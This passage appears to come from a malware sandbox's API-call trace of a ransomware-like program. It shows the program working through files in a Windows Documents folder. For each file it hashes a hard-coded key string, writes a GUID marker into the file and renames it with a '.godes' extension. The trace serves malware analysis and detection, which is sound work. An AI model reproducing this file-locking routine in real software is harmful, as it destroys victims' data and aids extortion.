(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wKt8pNbMIBpNV1.docx") returned=".docx" [0113.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wKt8pNbMIBpNV1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wkt8pnbmibpnv1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.357] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=48648) returned 1 [0113.357] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.358] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbde2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.358] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.361] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.361] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xbe08, lpOverlapped=0x0) returned 1 [0113.362] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.362] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.362] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.362] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.363] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.363] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.363] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.363] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.363] GetLastError () returned 0x0 [0113.363] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.363] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.364] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbe08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.364] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.364] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.364] CloseHandle (hObject=0x624) returned 1 [0113.365] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wKt8pNbMIBpNV1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wkt8pnbmibpnv1.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wKt8pNbMIBpNV1.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wkt8pnbmibpnv1.docx.godes")) returned 1 [0113.366] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3d1bf0, ftCreationTime.dwHighDateTime=0x1d4e920, ftLastAccessTime.dwLowDateTime=0x5efc630, ftLastAccessTime.dwHighDateTime=0x1d4d9cd, ftLastWriteTime.dwLowDateTime=0x5efc630, ftLastWriteTime.dwHighDateTime=0x1d4d9cd, nFileSizeHigh=0x0, nFileSizeLow=0xeda7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x-dfNPgeB.pptx", cAlternateFileName="X-DFNP~1.PPT")) returned 1 [0113.366] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x-dfNPgeB.pptx") returned=".pptx" [0113.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x-dfNPgeB.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x-dfnpgeb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.366] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=60839) returned 1 [0113.366] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.367] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.367] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.369] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xeda7, lpOverlapped=0x0) returned 1 [0113.370] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.370] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.370] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.370] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.371] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.371] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.371] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.371] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.371] GetLastError () returned 0x0 [0113.371] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.371] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.372] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeda7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.372] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.372] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.372] CloseHandle (hObject=0x624) returned 1 [0113.373] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x-dfNPgeB.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x-dfnpgeb.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x-dfNPgeB.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x-dfnpgeb.pptx.godes")) returned 1 [0113.374] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2e3590, ftCreationTime.dwHighDateTime=0x1d4c8f6, ftLastAccessTime.dwLowDateTime=0x97864e10, ftLastAccessTime.dwHighDateTime=0x1d4cc6d, ftLastWriteTime.dwLowDateTime=0x97864e10, ftLastWriteTime.dwHighDateTime=0x1d4cc6d, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSVP9deEn8lAX Ja.ppt", cAlternateFileName="XSVP9D~1.PPT")) returned 1 [0113.374] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XSVP9deEn8lAX Ja.ppt") returned=".ppt" [0113.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XSVP9deEn8lAX Ja.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xsvp9deen8lax ja.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.375] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=93653) returned 1 [0113.375] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.376] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.376] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.378] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x16dd5, lpOverlapped=0x0) returned 1 [0113.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.379] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.380] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.380] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.380] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.380] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.380] GetLastError () returned 0x0 [0113.380] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.380] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.381] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16dd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.381] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.381] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.381] CloseHandle (hObject=0x624) returned 1 [0113.382] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XSVP9deEn8lAX Ja.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xsvp9deen8lax ja.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XSVP9deEn8lAX Ja.ppt.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xsvp9deen8lax ja.ppt.godes")) returned 1 [0113.383] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f91fa0, ftCreationTime.dwHighDateTime=0x1d4c921, ftLastAccessTime.dwLowDateTime=0xe25fb480, ftLastAccessTime.dwHighDateTime=0x1d4ca7e, ftLastWriteTime.dwLowDateTime=0xe25fb480, ftLastWriteTime.dwHighDateTime=0x1d4ca7e, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZUzJ97kgSmpFwdzhg.pps", cAlternateFileName="ZUZJ97~1.PPS")) returned 1 [0113.383] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZUzJ97kgSmpFwdzhg.pps") returned=".pps" [0113.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZUzJ97kgSmpFwdzhg.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuzj97kgsmpfwdzhg.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.383] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1932) returned 1 [0113.384] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.384] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x766, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.385] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.386] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x78c, lpOverlapped=0x0) returned 1 [0113.386] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.386] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.386] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.386] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.387] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.387] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.387] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.387] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.387] GetLastError () returned 0x0 [0113.387] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.387] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.387] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x78c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.387] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.387] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.387] CloseHandle (hObject=0x624) returned 1 [0113.388] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZUzJ97kgSmpFwdzhg.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuzj97kgsmpfwdzhg.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZUzJ97kgSmpFwdzhg.pps.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuzj97kgsmpfwdzhg.pps.godes")) returned 1 [0113.389] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e2380, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0xe76b760, ftLastAccessTime.dwHighDateTime=0x1d4c54a, ftLastWriteTime.dwLowDateTime=0xe76b760, ftLastWriteTime.dwHighDateTime=0x1d4c54a, nFileSizeHigh=0x0, nFileSizeLow=0x12efe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_f1HsCMD.ots", cAlternateFileName="")) returned 1 [0113.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_f1HsCMD.ots") returned=".ots" [0113.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_f1HsCMD.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_f1hscmd.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.389] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=77566) returned 1 [0113.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.390] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12ed8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.390] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.392] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12efe, lpOverlapped=0x0) returned 1 [0113.393] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.393] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.393] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.393] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.394] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.394] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.394] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.394] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.394] GetLastError () returned 0x0 [0113.394] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.394] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.395] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12efe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.395] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.395] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.395] CloseHandle (hObject=0x624) returned 1 [0113.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_f1HsCMD.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_f1hscmd.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_f1HsCMD.ots.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_f1hscmd.ots.godes")) returned 1 [0113.397] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a5ac60, ftCreationTime.dwHighDateTime=0x1d5313c, ftLastAccessTime.dwLowDateTime=0x14569fe0, ftLastAccessTime.dwHighDateTime=0x1d4b7d7, ftLastWriteTime.dwLowDateTime=0x14569fe0, ftLastWriteTime.dwHighDateTime=0x1d4b7d7, nFileSizeHigh=0x0, nFileSizeLow=0x10a17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_i_MHuX.xlsx", cAlternateFileName="_I_MHU~1.XLS")) returned 1 [0113.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i_MHuX.xlsx") returned=".xlsx" [0113.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i_MHuX.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_i_mhux.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.397] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=68119) returned 1 [0113.398] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.399] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x109f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.399] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.400] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x10a17, lpOverlapped=0x0) returned 1 [0113.401] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.401] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.401] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.401] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.402] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.402] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.402] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.402] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.402] GetLastError () returned 0x0 [0113.402] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.402] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.403] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10a17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.403] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.403] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.403] CloseHandle (hObject=0x624) returned 1 [0113.404] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i_MHuX.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_i_mhux.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i_MHuX.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_i_mhux.xlsx.godes")) returned 1 [0113.405] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ed960, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0x526103d0, ftLastAccessTime.dwHighDateTime=0x1d4d432, ftLastWriteTime.dwLowDateTime=0x526103d0, ftLastWriteTime.dwHighDateTime=0x1d4d432, nFileSizeHigh=0x0, nFileSizeLow=0x14e8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_jD_3EsBV.pdf", cAlternateFileName="_JD_3E~1.PDF")) returned 1 [0113.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_jD_3EsBV.pdf") returned=".pdf" [0113.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_jD_3EsBV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jd_3esbv.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.406] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=85644) returned 1 [0113.406] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.407] SetFilePointerEx (in: hFile=0x624, 